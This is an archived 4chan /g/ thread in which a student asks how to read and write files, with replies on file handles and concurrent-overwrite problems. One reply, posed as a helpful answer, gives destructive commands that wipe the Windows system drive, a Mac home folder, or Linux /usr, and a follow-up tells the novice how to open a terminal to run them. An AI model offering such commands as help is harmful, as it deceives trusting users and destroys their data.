[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

So, /g/, the semester is heading to its end and I still don't

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 18
Thread images: 4

File: installing-gentoo.png (376KB, 1600x900px) Image search: [Google]
installing-gentoo.png
376KB, 1600x900px
So, /g/, the semester is heading to its end and I still don't even know how to read data from a goddamn file. What is a correct algorithm to do it?
What about writing to a file and copying/moving it?
>>
>>60641556
what language?
>>
>>60641556
Windows:
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

Macintosh:
sudo rm -rf ~/

GNU+Linux
rm -rf /usr /lib/nvidia-current/xorg/xorg
>>
>>60641615
html
>>
>>60641615
Doesn't matter. I just won't the method of solving the problem, not a concrete implementation.
>>
>>60641687
s/on'/an/
>>
>>60641653
Thanks I think it's wor
>>
>>60641653
This is right. But they left out the most important part: if windows click the start button and search for terminal, if Linux search for "cmd".
>>
>>60641687
It's a pretty language dependent idea, but the general idea is the language provides a function that will interface with the OS for you and returns some kind of pointer (or whatever your silly language calls it to not scare brainlets) and then provides a number of functions to work with the file. Read a line, character, whole file, append, prepend, etc. You'll have to read your language's documentation.
>>
>>60641754
>open a file
>get a pointer
>start reading the file with whatever functions the language offers
>another process kicks in
>overwrites the file
>get bullshit for data
>>
>>60641739
Thanks found the terminal
>>
Bump.

It's a pretty complex problem so please take your time.
>>
>>60641754
lol you fell for a meme
>>
File: 18mrvs5i9x4pkjpg.jpg (15KB, 320x179px) Image search: [Google]
18mrvs5i9x4pkjpg.jpg
15KB, 320x179px
>>60641556
idk i'm just posting cuckerberg
>>
>>60641790
>not making defensive copies
you deserve it desu
>>
>>60642413
How does the copy prevent me from getting shit for data?

>backup process copies the file
>open the file
>start reading it
>another process overwrites it
>get shit
>also the backup now stores outdated data

>backup process copies the file
>notice there's the backup copy
>be smart and open the backup instead of original file (I haven't seen any program actually doing so, obviously because it's not a solution)
>another process overwrites the file
>start reading
>backup process kicks in
>the copy is now outdated, time to make a new one
>backup process overwrites the copy you're reading
>get shit
>>
>>60642413
>>60642582
>open both the backup and the original file
>start reading
>one of them gets modified by another process
>one of them is now bullshit and you don't know which one
>also you're at least 2 times more prone to this problem because you read twice the data
>>
File: Terminal.png (18KB, 400x650px) Image search: [Google]
Terminal.png
18KB, 400x650px
>>60641739
Thanks, it does work in Windows 10.
Thread posts: 18
Thread images: 4


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.